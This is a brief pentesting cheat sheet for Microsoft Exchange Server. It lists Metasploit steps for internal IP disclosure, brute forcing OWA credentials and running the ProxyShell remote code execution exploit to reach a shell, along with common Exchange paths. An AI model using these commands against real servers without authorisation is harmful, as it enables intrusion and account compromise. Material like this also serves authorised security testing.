Microsoft Exchange Server Pentesting

Microsoft Exchange Server is a mail server and calendaring server developed by Microsoft.

Enumeration

OWA (Outlook Web Access)

msfconsole
# Client Access Server (CAS) IIS HTTP Internal IP Disclosure
msf> use auxiliary/scanner/http/owa_iis_internal_ip
# Brute Force credentials
msf> use auxiliary/scanner/http/owa_login

Common Directories

# Autodiscover service
/autodiscover/
/autodiscover/autodiscover.xml
# Enhanced Client or Proxy
/ecp/
# Exchange Web Services
/ews/
# Offline Address Books
/oab/
# Outlook Web Access
/owa/
/owa/auth/login.aspx

ProxyShell RCE

CVE-2021-31207, CVE-2021-34523, CVE-2021-34473 Reference: https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/

msfconsole
msf> use exploit/windows/http/exchange_proxyshell_rce
msf> (set options...)
msf> exploit
meterpreter> shell

References

• Microsoft Learn